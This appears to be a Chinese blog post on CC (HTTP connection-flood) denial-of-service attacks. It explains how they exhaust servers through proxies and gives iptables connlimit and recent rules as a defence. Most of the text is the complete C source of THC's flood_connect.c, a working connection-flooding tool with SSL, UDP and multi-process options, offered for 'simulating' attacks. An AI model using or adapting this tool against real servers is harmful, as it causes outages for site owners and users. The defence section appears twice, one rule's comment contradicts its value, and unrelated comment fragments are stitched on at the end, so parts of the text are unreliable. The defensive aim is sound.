一、什么是CC攻击:利用大量代理服务器对目标计算机发起大量连接,导致目标服务器资源枯竭造成拒绝服务。
1、攻击原理
CC主要是用来攻击页面的。大家都有这样的经历,就是在访问论坛时,如果这个论坛比较大,访问的人比较多,打开页面的速度会比较慢,对不?!一般来说,访问的人越多,论坛的页面越多,数据库就越大,被访问的频率也越高,占用的系统资源也就相当可观,现在知道为什么很多空间服务商都说大家不要上传论坛,聊天室等东西了吧。
一个静态页面不需要服务器多少资源,甚至可以说直接从内存中读出来发给你就可以了,但是论坛就不一样了,我看一个帖子,系统需要到数据库中判断我是否有读读帖子的权限,如果有,就读出帖子里面的内容,显示出来——这里至少访问了2次数据库,如果数据库的体积有200MB大小,系统很可能就要在这200MB大小的数据空间搜索一遍,这需要多少的CPU资源和时间?如果我是查找一个关键字,那么时间更加可观,因为前面的搜索可以限定在一个很小的范围内,比如用户权限只查用户表,帖子内容只查帖子表,而且查到就可以马上停止查询,而搜索肯定会对所有的数据进行一次判断,消耗的时间是相当的大。
CC就是充分利用了这个特点,模拟多个用户(多少线程就是多少用户)不停的进行访问(访问那些需要大量数据操作,就是需要大量CPU时间的页面)。很多朋友问到,为什么要使用代理呢?因为代理可以有效地隐藏自己的身份,也可以绕开所有的防火墙,因为基本上所有的防火墙都会检测并发的TCP/IP连接数目,超过一定数目一定频率就会被认为是Connection-Flood。
使用代理攻击还能很好的保持连接,我们这里发送了数据,代理帮我们转发给对方服务器,我们就可以马上断开,代理还会继续保持着和对方连接(我知道的记录是有人利用2000个代理产生了35万并发连接)。
可能很多朋友还不能很好的理解,我来描述一下吧。我们假设服务器A对Search.asp的处理时间需要0.01S(多线程只是时间分割,对结论没有影响),也就是说他一秒可以保证100个用户的Search请求,服务器允许的最大连接时间为60s,那么我们使用CC模拟120个用户并发连接,那么经过1分钟,服务器的被请求了7200次,处理了6000次,于是剩下了1200个并发连接没有被处理。有的朋友会说:丢连接!丢连接!问题是服务器是按先来后到的顺序丢的,这1200个是在最后10秒的时候发起的,想丢?!还早,经过计算,服务器满负开始丢连接的时候,应该是有7200个并发连接存在队列,然后服务器开始120个/秒的丢连接,我们发动的连接也是120个/秒,服务器永远有处理不完的连接,服务器的CPU 100%并长时间保持,然后丢连接的60秒服务器也判断处理不过来了,新的连接也处理不了,这样服务器达到了超级繁忙状态。
蝴蝶:我们假设服务器处理Search只用了0.01S,也就是10毫秒(这个速度你可以去各个有开放时间显示的论坛看看),我们使用的线程也只有120,很多服务器的丢连接时间远比60S长,我们的使用线程远比120多,可以想象可怕了吧,而且客户机只要发送了断开,连接的保持是代理做的,而且当服务器收到SQL请求,肯定会进入队列,不论连接是否已经断开,而且服务器是并发的,不是顺序执行,这样使得更多的请求进入内存请求,对服务器负担更大。
当然,CC也可以利用这里方法对FTP进行攻击,也可以实现TCP-FLOOD,这些都是经过测试有效的。
二、防范
1、解决CC的切入点:
1) 大部分的HTTP代理服务器代理源client向服务器发出的数据包带有"X-Forwarded-For"特征。
2) 针对CC攻击非HTTP端口的时候可以通过过滤HTTP请求特有的"GET"特征进行过滤。
3) 对付CC攻击,区别非正常连接要在代理服务器和被攻击的服务器完成三次握手进行数据通讯的时候进行检测。检测出后要及时关闭服务器相应的非正常连接。否则同样可能因死连接过多造成服务器资源枯竭。
4) 限制单位时间内同一请求IP的并发连接数也不失为一种好的办法。
5) 大部分代理服务器会向服务器报露源请求的源IP地址,只不过这个地址经常是反的例如202.96.140.77你收到所的数据包可能变成77.140.96.202,这可能是程序员没有将网络字节序转换成主机字节序放在HTTP请求信息里所致。找出什么IP攻击你解决办法要你自己想。
2、以上所讲的不一定能帮助普通用户解决实际问题,以下给普通用户一些简单的解决提示:
1)Linux的iptables可以配置字符串模式匹配,也就是可以利用iptables实现 解决CC的切入点1、2。将linux配置为桥模式实现对被攻击的非linux服务器保护。可以参考下(用IPTables实现字符串模式匹配
2)很多unix防火墙都带了限制单一ip并发数的功能。例如ipfw
3)如果是针对WEB网站攻击可以采取一些退让的办法比方说域名转向(把负载交给域名转向服务商)。也可以通过反响代理或者dns轮询提高web服务整体承受能力。
注意:字符串匹配本身就是一个开销很大的工作,iptables用来解决CC攻击性能上并不是非常的出色。我可以给一些有开发能力的用户一些提示,以上提及的关键字均出现在三次握手结束后的第四次数据通讯中,且均在TCP数据部分的前255bytes。
3、使用iptables防范CC攻击
当apache站点受到严重的cc攻击,我们可以用iptables来防止web服务器被CC攻击,实现自动屏蔽IP的功能。
1.系统要求
(1)LINUX 内核版本:2.6.9-42ELsmp或2.6.9-55ELsmp(其它内核版本需要重新编译内核,比较麻烦,但是也是可以实现的)。
(2)iptables版本:1.3.7
2. 安装
安装iptables1.3.7和系统内核版本对应的内核模块kernel-smp-modules-connlimit
3. 配置相应的iptables规则
示例如下:
(1)控制单个IP的最大并发连接数
iptables -I INPUT -p tcp --dport 80 -m connlimit --connlimit-above 50 -j REJECT
#允许单个IP的最大连接数为 30
(2)控制单个IP在一定的时间(比如60秒)内允许新建立的连接数
iptables -A INPUT -p tcp --dport 80 -m recent --name BAD_HTTP_ACCESS --update --seconds 60 --hitcount 30 -j REJECT iptables -A INPUT -p tcp --dport 80 -m recent --name BAD_HTTP_ACCESS --set -j ACCEPT
#单个IP在60秒内只允许最多新建30个连接
4. 验证
(1)工具:flood_connect.c(用来模拟攻击)
- /*
- * Flood Connecter v1.5 (c) 2002 by van Hauser / THC <vh@reptile.rug.ac.be>
- * http://www.thehackerschoice.com
- *
- * Connection flooder, can also send data, keep connections open etc.
- *
- * Use allowed only for legal purposes.
- *
- * To compile: cc -o flood_connect -O2 flood_connect.c
- * openssl: cc -o flood_connect -O2 flood_connect.c -DOPENSSL -lssl -lcrypto
- *
- */
- #include <stdio.h>
- #include <string.h>
- #include <netdb.h>
- #include <netinet/in.h>
- #include <netinet/tcp.h>
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <sys/stat.h>
- #include <sys/time.h>
- #include <sys/resource.h>
- #include <arpa/inet.h>
- #include <stdlib.h>
- #include <unistd.h>
- #include <fcntl.h>
- #include <signal.h>
- #define PORT 80 // change this if you want
- #define UNLIMITED 0 // dont change this
- #ifdef OPENSSL
- #include <openssl/ssl.h>
- #include <openssl/err.h>
- SSL *ssl = NULL;
- SSL_CTX *sslContext = NULL;
- RSA *rsa = NULL;
- RSA *ssl_temp_rsa_cb(SSL *ssl, int export, int keylength) {
- if (rsa == NULL)
- rsa = RSA_generate_key(512, RSA_F4, NULL, NULL);
- return rsa;
- }
- #endif
- char *prg;
- int forks = 0;
- int pids[256];
- int warn = 0;
- void help() {
- printf("Flood Connect v1.5 (c) 2002 by van Hauser /THC <vh@reptile.rug.ac.be>
- Syntax: %s [-S] [-u] [-p port] [-i file] [-n connects] [-N delay] [-c] [-C delay] [-d] [-D delay] [-e] [-k] [-v] TARGET
- Options:
- -S use SSL after TCP connect (not usuable with -u, sets port=443)
- -u use UDP protocol (default: TCP) (not usable with -c)
- -p port port to connect to (default: %d)
- -f forks number of forks to additionally spawn (default: 0)
- -i file data to send to the port (default: none)
- -n connects maximum number of connects (default: unlimited)
- -N delay delay between connects in ms (default: 0)
- -c close after connect (and sending data, if used with -i)
- use twice to shutdown SSL sessions hard (-S -c -c)
- -C delay delay before closing the port (for use with -c) (default: 0)
- -d dump data read from server
- -D delay delay before trying to read+dump data from server (default: 0)
- -e stop when no more connects possible (default: retry forever)
- -k no keep-alive after finnishing with connects, terminate!
- -v verbose mode
- TARGET target to flood attack (ip or dns)
- Connection flooder. Nothing more to say. Use only allowed for legal purposes.
- Visit our homepage at http://www.thehackerschoice.com
- ", prg, PORT);
- exit(-1);
- }
- void kill_children(int signo) {
- int i = 0;
- while (i < forks) {
- kill(pids[i], SIGTERM);
- i++;
- }
- usleep(10000);
- i = 0;
- while (i < forks) {
- kill(pids[i], SIGKILL);
- i++;
- }
- exit(-1);
- }
- int main(int argc, char *argv[]) {
- unsigned short int port = PORT;
- long int max_connects = UNLIMITED;
- int verbose = 0;
- int close_connection = 0;
- int exit_on_sock_error = 0;
- int use_ssl = 0;
- int keep_alive = 1;
- int debug = 0;
- int dump = 0;
- long int connect_delay = 0, close_delay = 0, dump_delay = 0;
- char *infile = NULL;
- struct stat st;
- FILE *f = NULL;
- char *str = NULL;
- int str_len = 0;
- int i;
- int s;
- int ret;
- int err;
- int client = 0;
- int reads;
- int sock_type = SOCK_STREAM;
- int sock_protocol = IPPROTO_TCP;
- char buf[8196];
- long int count, successful;
- struct sockaddr_in target;
- struct hostent *resolv;
- struct rlimit rlim;
- int pidcount = 0, res = 0;
- prg = argv[0];
- err = 0;
- if (argc < 2 || strncmp(argv[1], "-h", 2) == 0)
- help();
- while ((i = getopt(argc, argv, "cf:C:dD:N:ei:kn:p:SuvV")) >= 0) {
- switch (i) {
- case 'c': close_connection++; break;
- case 'f': forks = atoi(optarg); break;
- case 'N': connect_delay = atol(optarg); break;
- case 'C': close_delay = atol(optarg); break;
- case 'D': dump_delay = atol(optarg); break;
- case 'd': dump = 1; break;
- case 'e': exit_on_sock_error = 1; break;
- case 'u': sock_type = SOCK_DGRAM;
- sock_protocol = IPPROTO_UDP;
- break;
- case 'v': verbose = 1; break;
- case 'V': debug = 1; break;
- case 'i': infile = optarg; break;
- case 'k': keep_alive = 0; break;
- case 'n': max_connects = atol(optarg); break;
- case 'S': use_ssl = 1;
- if (port == PORT)
- port = 443;
- #ifndef OPENSSL
- fprintf(stderr, "Error: Not compiled with openssl support, use -DOPENSSL -lssl\n");
- exit(-1);
- #endif
- break;
- case 'p': if (atoi(optarg) < 1 || atoi(optarg) > 65535) {
- fprintf(stderr, "Error: port must be between 1 and 65535\n");
- exit(-1);
- }
- port = atoi(optarg) % 65536;
- break;
- default: fprintf(stderr,"Error: unknown option -%c\n", i); help();
- }
- }
- if (optind + 1 != argc) {
- fprintf(stderr, "Error: target missing or too many commandline options!\n");
- exit(-1);
- }
- if (infile != NULL) {
- if ((f = fopen(infile, "r")) == NULL) {
- fprintf(stderr, "Error: can not find file %s\n", infile);
- exit(-1);
- }
- fstat(fileno(f), &st);
- str_len = (int) st.st_size;
- str = malloc(str_len);
- fread(str, str_len, 1, f);
- fclose(f);
- }
- if ((resolv = gethostbyname(argv[argc-1])) == NULL) {
- fprintf(stderr, "Error: can not resolve target\n");
- exit(-1);
- }
- memset(&target, 0, sizeof(target));
- memcpy(&target.sin_addr.s_addr, resolv->h_addr, 4);
- target.sin_port = htons(port);
- target.sin_family = AF_INET;
- if (connect_delay > 0)
- connect_delay = connect_delay * 1000; /* ms to microseconds */
- else
- connect_delay = 1;
- if (close_delay > 0)
- close_delay = close_delay * 1000; /* ms to microseconds */
- else
- close_delay = 1;
- if (dump_delay > 0)
- dump_delay = dump_delay * 1000; /* ms to microseconds */
- else
- dump_delay = 1;
- rlim.rlim_cur = RLIM_INFINITY;
- rlim.rlim_max = RLIM_INFINITY;
- ret = setrlimit(RLIMIT_NOFILE, &rlim);
- if (verbose) {
- if (ret == 0)
- printf("setrlimit for unlimited filedescriptors succeeded.\n");
- else
- printf("setrlimit for unlimited filedescriptors failed.\n");
- }
- for (i = 3; i < 4096; i++)
- close(i);
- printf("Starting flood connect attack on %s port %d\n", inet_ntoa((struct in_addr)target.sin_addr), port);
- (void) setvbuf(stdout, NULL, _IONBF, 0);
- if (verbose)
- printf("Writing a \".\" for every 100 connect attempts\n");
- ret = 0;
- count = 0;
- successful = 0;
- i = 1;
- s = -1;
- res = 1;
- while(pidcount < forks && res) {
- res = pids[pidcount] = fork();
- pidcount++;
- }
- if (res == 0)
- client = 1;
- if (res > 0) {
- signal(SIGTERM, kill_children);
- signal(SIGINT, kill_children);
- signal(SIGSEGV, kill_children);
- signal(SIGHUP, kill_children);
- }
- if (use_ssl) {
- #ifdef OPENSSL
- SSL_load_error_strings();
- SSLeay_add_ssl_algorithms();
- // context: ssl2 + ssl3 is allowed, whatever the server demands
- if ((sslContext = SSL_CTX_new(SSLv23_method())) == NULL) {
- if (verbose) {
- err = ERR_get_error();
- fprintf(stderr, "SSL: Error allocating context: %s\n", ERR_error_string(err, NULL));
- }
- res = -1;
- }
- // set the compatbility mode
- SSL_CTX_set_options(sslContext, SSL_OP_ALL);
- // we set the default verifiers and dont care for the results
- (void) SSL_CTX_set_default_verify_paths(sslContext);
- SSL_CTX_set_tmp_rsa_callback(sslContext, ssl_temp_rsa_cb);
- SSL_CTX_set_verify(sslContext, SSL_VERIFY_NONE, NULL);
- #endif
- }
- while (count < max_connects || max_connects == UNLIMITED) {
- if (ret >= 0) {
- if ((s = socket(AF_INET, sock_type, sock_protocol)) < 0) {
- if (verbose && warn == 0) {
- perror("Warning (socket)");
- warn = 1;
- }
- if (exit_on_sock_error)
- exit(0);
- } else {
- setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &i, sizeof(i));
- }
- }
- if (s >= 0) {
- ret = connect(s, (struct sockaddr *)&target, sizeof(target));
- if (use_ssl && ret >= 0) {
- #ifdef OPENSSL
- if ((ssl = SSL_new(sslContext)) == NULL) {
- if (verbose) {
- err = ERR_get_error();
- fprintf(stderr, "Error preparing an SSL context: %s\n", ERR_error_string(err, NULL));
- }
- ret = -1;
- } else
- SSL_set_fd(ssl, s);
- if (ret >= 0 && SSL_connect(ssl) <= 0) {
- printf("ERROR %d\n", SSL_connect(ssl));
- if (verbose) {
- err = ERR_get_error();
- fprintf(stderr, "Could not create an SSL session: %s\n", ERR_error_string(err, NULL));
- }
- ret = -1;
- }
- if (debug)
- fprintf(stderr, "SSL negotiated cipher: %s\n", SSL_get_cipher(ssl));
- #endif
- }
- count++;
- if (ret >= 0) {
- successful++;
- warn = 0;
- if (str_len > 0) {
- if (use_ssl) {
- #ifdef OPENSSL
- SSL_write(ssl, str, str_len);
- #endif
- } else {
- setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &i, sizeof(i));
- if (setsockopt(s, SOL_TCP, TCP_NODELAY, &i, sizeof(i)) != 0)
- perror("Warning (setsockopt SOL_TCP)");
- write(s, str, str_len);
- }
- }
- if (dump) {
- fcntl(s, F_SETFL, O_NONBLOCK);
- if (dump_delay > 0)
- usleep(dump_delay);
- if (use_ssl) {
- #ifdef OPENSSL
- reads = SSL_read(ssl, buf, sizeof(buf));
- #endif
- } else {
- reads = read(s, buf, sizeof(buf));
- }
- if (reads > 0)
- printf("DATA: %s\n", buf);
- }
- if (close_connection) {
- if (close_delay > 0)
- usleep(close_delay);
- #ifdef OPENSSL
- if (use_ssl && close_connection == 1)
- SSL_shutdown(ssl);
- #endif
- close(s);
- #ifdef OPENSSL
- if (use_ssl && close_connection > 1)
- SSL_shutdown(ssl);
- #endif
- }
- if (connect_delay > 0)
- usleep(connect_delay);
- } else {
- if (verbose && warn == 0) {
- perror("Warning (connect)");
- warn = 1;
- }
- if (exit_on_sock_error)
- exit(0);
- }
- if (verbose)
- if (count % 100 == 0)
- printf(".");
- } else
- close(s);
- }
- if (client) {
- while (1) {}
- } else {
- if (verbose)
- printf("\n");
- printf("Done (made %s%ld successful connects)\n", forks ? "approx. " : "", successful + successful * forks);
- if (keep_alive && close_connection == 0) {
- printf("Press <ENTER> to terminate connections and this program\n");
- (void) getc(stdin);
- }
- if (forks > 0) {
- usleep(1 + connect_delay + dump_delay + close_delay);
- while (i < forks) {
- kill(pids[i], SIGTERM);
- i++;
- }
- usleep(10000);
- i = 0;
- while (i < forks) {
- kill(pids[i], SIGKILL);
- i++;
- }
- }
- }
- return 0;
- }
(2)查看效果:
使用
watch 'netstat -an | grep:21 | \ grep<模拟攻击客户机的IP>| wc -l'
实时查看模拟攻击客户机建立起来的连接数,
使用
watch 'iptables -L -n -v | \grep<模拟攻击客户机的IP>'
查看模拟攻击客户机被 DROP 的数据包数。
5.注意
为了增强iptables防止CC攻击的能力,最好调整一下ipt_recent的参数如下:
#cat/etc/modprobe.conf options ipt_recent ip_list_tot=1000 ip_pkt_list_tot=60
#记录1000个IP地址,每个地址记录60个数据包 #modprobe ipt_recent
当apache站点受到严重的cc攻击,我们可以用iptables来防止web服务器被CC攻击,实现自动屏蔽IP的功能。
1.系统要求
(1)LINUX 内核版本:2.6.9-42ELsmp或2.6.9-55ELsmp(其它内核版本需要重新编译内核,比较麻烦,但是也是可以实现的)。
(2)iptables版本:1.3.7
2. 安装
安装iptables1.3.7和系统内核版本对应的内核模块kernel-smp-modules-connlimit
3. 配置相应的iptables规则
示例如下:
(1)控制单个IP的最大并发连接数
iptables -I INPUT -p tcp --dport 80 -m connlimit --connlimit-above 50 -j REJECT
#允许单个IP的最大连接数为 30
(2)控制单个IP在一定的时间(比如60秒)内允许新建立的连接数
iptables -A INPUT -p tcp --dport 80 -m recent --name BAD_HTTP_ACCESS --update --seconds 60 --hitcount 30 -j REJECT iptables -A INPUT -p tcp --dport 80 -m recent --name BAD_HTTP_ACCESS --set -j ACCEPT
#单个IP在60秒内只允许最多新建30个连接
4. 验证
(1)工具:flood_connect.c(用来模拟攻击)
(2)查看效果:
使用
watch 'netstat -an | grep:21 | \ grep<模拟攻击客户机的IP>| wc -l'
实时查看模拟攻击客户机建立起来的连接数,
使用
watch 'iptables -L -n -v | grep<模拟攻击客户机的IP>'
查看模拟攻击客户机被 DROP 的数据包数。
5.注意
为了增强iptables防止CC攻击的能力,最好调整一下ipt_recent的参数如下:
#cat/etc/modprobe.conf options ipt_recent ip_list_tot=1000 ip_pkt_list_tot=60
#记录1000个IP地址,每个地址记录60个数据包 #modprobe ipt_recent
而且直接配置文件是效率最高的,通过其它驱动效率都相对较低,BDB
这个测试不太准确,看官方的测试结果:http://bind-dlz.sourceforg
为什么使用BDB时QPS这么低? 我在bind版本基本相似的环境中测试的
It is quite useful and interesting too.
VIRT 的上限是64G,也就是36位, cat /proc/cpuinfo的结果是:addre
昨天要准备用线程重写webbench,试验了下Fedora Linux 2.6.35.14
不明白您的具体的意思是什么?
已经发送到你QQ邮箱